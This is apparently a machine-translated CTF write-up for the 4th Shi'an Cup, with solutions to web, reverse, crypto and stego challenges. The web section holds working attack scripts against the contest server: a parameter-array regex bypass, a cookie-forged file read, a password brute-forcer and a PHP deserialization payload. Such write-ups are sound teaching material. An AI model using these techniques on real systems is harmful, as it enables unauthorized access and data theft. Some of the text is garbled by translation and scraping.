第4回世安杯

40507 ワード

ああ、水の問題が山ほどあって、まだほとんど原題で、オフラインに入っても試合に行く時間がないので、急いでいます.
WEB
ctf入門級テーマ

$flag = '*********';

if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo '

You password must be alphanumeric

'
; else if (strpos ($_GET['password'], '--') !== FALSE) die($flag); else echo '

Invalid password

'
; } ?>
class="login"> <div class="title"> <a href="./index.phps">View Sourcea> div> <form method="POST"> <input type="text" required name="password" placeholder="Password" /><br/> <input type="submit"/> form> section> body> html>

eregを迂回する必要があるため、単純でなければなりません.http://ctf1.shiyanbar.com/shian-rao/?password[]=--
第四届世安杯_第1张图片 flag{Maybe_using_rexpexp_wasnt_a_clever_move}
クッキー
後ろのfileを見るとファイル名のbase 64暗号化で、任意のファイルコードを読み取ることができるはずですが、lineは表示行数を制御するため、スクリプトを書きます
import requests

url = "http://ctf1.shiyanbar.com/shian-quqi/index.php?line={0}&file=aW5kZXgucGhw"

for i in range(0,20):
    url1 = url.format(i)
    s = requests.get(url1)
    print s.text

取得するphpコード

error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");

$file_list = array(

'0' =>'key.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){

$file_list[2]='thisis_flag.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

簡単です.cookiesを追加します.
第四届世安杯_第2张图片 flag{UHGgd3rfH*(3HFhuiEIWF}
を選択します.
簡単なコード監査では、x 1は全数字ではなく2017より大きくすることができます.それは2018 aです.2つ目は状況に応じて配列を構築し、3つ目はスクリプトを爆破する必要があります.
import random
import string
import hashlib
import base64
import re
def md5(str):
    m = hashlib.md5()
    m.update(str)
    return m.hexdigest()

i = 0
while 1:
    i +=1
    #print i
    string = 'XIPU'
    string2=''
    #print string
    s = string+string2.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4))
    print s,md5(s)[8:24],md5("15562")[8:24]

    if (re.findall('^0e[0-9]{14,14}$',md5(s)[8:24])):
        print s
        break

第四届世安杯_第3张图片
第四届世安杯_第4张图片 CTF{Php_1s_bstl4_1a}
ログイン
明らかにパスワードスクリプトを爆破した
import requests

cookies = {
        "PHPSESSID":"baukg3luocsduh2a1khcqoshh2"
        }

for i in range(0,10):
    for j in range(0,10):
        for k in range(0,10):
            for m in range(0,10):
                for n in range(0,10):
                    num1 = str(i)+str(j)+str(k)+str(m)+str(n)
                    url1 = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password={0}&randcode={1}"

                    url = "http://ctf1.shiyanbar.com/shian-s/"
                    s = requests.get(url,cookies=cookies)
                    string = s.text
                    num = string.find("randcode")
                    print num
                    num2 = string[num+30:num+33]
                    print string[num+30:num+33]
                    url2 = url1.format(num1,num2)
                    print url2
                    s2 = requests.get(url2,cookies=cookies)
                    if "{" in s2.content:
                        print s2.content
                        exit(0)

#print string[num+16::3]

第四届世安杯_第5张图片 flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a}
admin
まずphp擬似プロトコルによる書き込み
第四届世安杯_第6张图片
その後、後ろにclassを直接読み出すファイルが含まれていることに気づきました.phpのソース
第四届世安杯_第7张图片
シーケンス化を構築する


class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
$a = new Read();
$a->file="f1a9.php";
echo serialize($a);
?>

第四届世安杯_第8张图片 flag_Xd{hSh_ctf:e@syt0g3t}
その他
reverseMe
16進数を見るとjpgのファイルヘッダが最後に
第四届世安杯_第9张图片
シナリオを直接書いて逆さまにすればいい

f = open("C:/Users/lanlan/Desktop/reverseMe",'rb')

g = open("C:/Users/lanlan/Desktop/flag.png",'wb')

g.write(f.read()[::-1])

f.close()
g.close()

这里写图片描述
逆にすればいいflag{4f7548f93c7bef1dc6a0542cf04e796e}
ジェニーンのqq号
数学の問題
for i in range(10000,100000):

    str1 = str(i)
    str2 = str1[::-1]
    print i,str2
    if i*4 == int(str2):
        print int(str2)
        break

走り出したのは結果87912気になる会社
流量計、中のconf 1 g.phpはwebshellをアップロードして、発見を探してまた異常なピクチャーをダウンロードします
第四届世安杯_第10张图片
第四届世安杯_第11张图片 fl4g:{ftop_Is_Waiting_4_y}
ぎゃくほうこう
android
逆コンパイルコードを解析すると,特定のブロードキャスト情報でapkをトリガする必要がある関連Activityキー情報はextraにおけるmsg値がOpenSesameであり,adbのroot権限下のamツールを呼び出すことができる.
这里写图片描述
BROADCASTボタンをクリックすると、apkはブロードキャストを発行します.ブロードキャストコンテンツは、関連文字列を処理したキーコンテンツをブロードキャストを受信するために、ブロードキャスト受信機を作成します.主なコードは次のとおりです.
intentFilter = new IntentFilter();
intentFilter.addAction("com.flagstore.ctf.OUTGOING_INTENT");
receiver = new NetworkChangeReceiver();
registerReceiver(receiver, intentFilter);  
class NetworkChangeReceiver extends BroadcastReceiver{
    @Override
    public void onReceive(Context context,Intent intent){ 
        Toast.makeText(context, "getMessage"+intent.getStringExtra("msg"), Toast.LENGTH_SHORT).show();
        }
    }
}

この放送受信機を携帯電話にインストールし、BROADCASTをクリックすると、受信したメッセージが表示されます.
第四届世安杯_第12张图片
flagを得る
get_flag
入力してアルゴリズムを探します.ここにあります.
第四届世安杯_第13张图片
肝心なのはその比較で、eaxの計算は入力計算によって得られ、excはメモリの中で提出したもので、理解してからアルゴリズムを書きます.
a = [0xB9 ,0x3A,0xA9,0xD8,0x15, 0x8A, 0xE7 ,0x42,0x69, 0x90, 0xCA, 0xA3, 0x4D, 0xD8, 0xD9, 0xC9 ]

f = ""

for i in range(16):

    for  j in range(33,128):

        if ((2*j-6)^j)-2*i==a[i]:

            f += chr(j)

            break

print f

flag: mBqL!zS6-hLm)XY_
単純アルゴリズム
この問題は少し脳の穴があって、問題によって多くのpassword(正確には知能的にその中の9ビットを確定する)を計算することができて、私たちは自分で異或の値を計算して、それから完全なflagを確定することができます:これは異或の値を計算するコードです:
#include

#include

#include

#include

int main()

{

    int v8 = 0;

    int v4 ;

    int v9 =0;

    int v7 = 0;

    for (v7=0;v7<=21;v7++)

    {

        int v4 = v7+1;

        v9 = 0;

        v8 = 0;

        while ( v8 < v4 )

        {

          ++v8;

          v9 = 1828812941 * v9 + 12345;

        }

        printf("0x%x,",(unsigned __int8)v9);

    }

}

次に、完全な排他的または排他的な値に基づいて、完全なflagを算出します.
a = "5FF25E8B4E0EA3AAC793813D5F74A309912B49289367"

a = [ord(i) for i in a.decode("hex")]

print len(a)
n =  [0x11,0xa,0x11,0xd,0x1,0x0f,0x0,0x6,0x3,0x1]
xor =[0x39,0x9e,0x3f,0xec,0x35,0x6a,0x9b,0x98,0xf1,0xf6,0xb7,0x4,0x6d,0x42,0x93,0x30,0xa9,0x4e,0x2f,0x1c,0xa5,0x1a]
f = ['a','a','a','a','{','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','}']
r = ""
print len(f)
for i in range(22):
    f[i] = chr(a[i]^xor[i])
for i in range(len(f)):
    r += f[i]
print r

flag: flag{d826e6926098ef46}
console
これはNETの逆方向、原題があります.Reflectorが開くとexportが出てくるので、VSでコードを見てみましょう:第四届世安杯_第14张图片
プログラムの大概の流れはCreateByTenshine文字列を暗号化して入力と比較することであり、暗号化も簡単であり、[0 x 2,0 x 3,0 x 5,0 x 7,0 xb,0 xd,0 x 11,0 x 13,0 x 17,0 x 1 d,0 x 1 f,0 x 25,0 x 29,0 x 2 b,0 x 2 f,0 x 35,0 x 3 b,0 x 3 b,0 x 3 d,0 x 43,0 x 47,0 x 49,0 x 4 f,0 x 53,0 x 59,0 x 61,0 x 65,0 x 67,0 x 6 b,0 x 6 b,0 x 6 d,0 x 6 d,0 x 6 d,0 x 6 x 6,0 x 43,0 x 43 x 71]の2番目から15番目の数を順番に異ならせ、–削除します.次にmd 5値を計算します.
import hashlib

str1 = [0x2, 0x3, 0x5, 0x7, 0xb, 0xd, 0x11,0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 0x35,0x3b, 0x3d, 0x43, 0x47,0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 0x71]
str2 = "CreateByTenshine"
str3 = ""
for i in xrange(len(str2)):
    t= ord(str2[i])
   for j in range(1,15):
      t = str1[j] ^ t

   str3 += chr(t)

for k in xrange(len(str3)):

   if (str3[k] == '-'):

       str3[k] = ''

print str3

m = hashlib.md5()

m.update(str3)

result = m.hexdigest()

print 'flag{' + result + '}'

最後のflag:flag{967DDDFBCD32C1F53527C221D9E40A0B}bin
64ビットのELFファイル、sub_40084 A関数は逆デバッグを行います.動的に調整するときはeaxを変更すればいいです.
第四届世安杯_第15张图片
主関数を見てみると、sub_40074D関数判断が鍵です.
第四届世安杯_第16张图片
動的検索qword_601080のアドレス:
第四届世安杯_第17张图片
最初にnからwまでの配列を作成し、文字列を入力することで、配列が存在するべき位置(5、2、7、2、5、6)にあるかどうかを確認し、最後にこの位置で比較します.
第四届世安杯_第18张图片
したがって、作成された配列と組み合わせて、最終的な結果はrotors:
第四届世安杯_第19张图片
動的暴力解読
タイトルIDAの逆アセンブリコードは、C++STLライブラリで操作されているため、いくつかの関数名が長いため、気分が悪い.いくつかのstringを検索してflag(左右のカッコがある)のような文字列を見つけました.
这里写图片描述
プロセスを実行して、位置を入力して切断します.
这里写图片描述
そしてメモリの中でハードコーディングの文字列を見つけました:dfhlnrtxdflprvbhjptvbhjptvbfltxzdfjxbhjそして降りて、入力はsub_401210で暗号化されました.暗号化後は暗号化前と同じ長さですが、普通のシーザーではありません.同じ入力と出力が違いますが、暗号化の過程でこの文字列を使いました.flagはこの文字列を暗号化して今のようになったと推測されます:FYM-OI}olte_zi_wdqedd_djrzuj_shgmEDFqo{
スクリプトを書いて走ります
s1 = 'FYM-OI}olte_zi_wdqedd_djrzuj_shgmEDFqo{'

s2 = 'dfhlnrtxdflprvbhjptvbhjptvbfltxzdfjxbhj'

s1 = list(s1)

for i in range(len(s1)):

    pos = ord(s2[i])-ord('a')

    if s1[i]=='{':

        s1[i]='}'

    elif s1[i]=='}':

        s1[i]='{'

    elif s1[i]=='_':

        pass

    else:

        if s1[i].islower():

            s1[i] = chr(ord(s1[i])-pos%26)

            if ord(s1[i])<ord('a'):

                s1[i] = chr(ord(s1[i])+26)

        elif s1[i].isupper():

            s1[i] = chr(ord(s1[i])-pos%26)

            if ord(s1[i])<ord('A'):

                s1[i] = chr(ord(s1[i])+26)

        else:

            pass

f = ""
print s1
for i in range(len(s1)):
    f+=s1[i]
print f

これはflag:这里写图片描述
暗号学
rsa
これは、n,cそしてeが3のはずなので、bystument師匠のスクリプトをそのまま利用すればいいのです
from libnum import s2n,n2s
from gmpy2 import iroot
n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
e = 3
c = 2044619806634581710230401748541393297937319
i = 0
while 1:
    res = iroot(c+i*n,3)
    if(res[1] == True):
        print res
        break
    print "i="+str(i)
    i = i+1
m = 126922179506039
print n2s(m)
so_low
暗記
low
作成した原題はstegsolveで解析したが,観察によりRGBのチャネルに問題があることが判明し,スクリプトを直接適用した.
# -*- coding: utf8 -*-
#low
import Image

def foo():
    im=Image.open('C:/Users/lanlan/Desktop/low.bmp')
    im2=im.copy()

    pix=im2.load()
    width,height=im2.size

    for x in xrange(0,width):
        for y in xrange(0,height):
            #LSB
            if pix[x,y]&0x1==0:
                pix[x,y]=255 #
            else:
                pix[x,y]=0
    im2.show()
    pass

if __name__ == '__main__':
    foo()
    print 'ok'
    pass

第四届世安杯_第20张图片 flag{139711e8e9ed545e}
シマウマ
第四届世安杯_第21张图片
この問題も簡単で、シマウマの体の縞を処理して、バーコードを得ることができて、スキャンしますFLAG IS TENSHINE坑のflagはなんと小文字tenshineCreateByWho
破片の山をpsでつなぎ合わせる
第四届世安杯_第22张图片 Create-By-SimpleLab
デスクトップとして適した画像
まず1枚のピクチャーで、それからStegSolveで分析して、QRコードを発見します
第四届世安杯_第23张图片
スキャンして文字列03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000を取得
推測は16進数で、顔はpycの頭部で、直接反コンパイルを保存して元のpythonコードを覚えています
第四届世安杯_第24张图片
#!/usr/bin/env python
# encoding: utf-8
#    http://tool.lu/pyc/       

def flag():
    str = [
        102,
        108,
        97,
        103,
        123,
        51,
        56,
        97,
        53,
        55,
        48,
        51,
        50,
        48,
        56,
        53,
        52,
        52,
        49,
        101,
        55,![enter description here][32]
        125]
    flag = ''
    for i in str:
        flag += chr(i)

    print flag
flag()
flag{38a57032085441e7}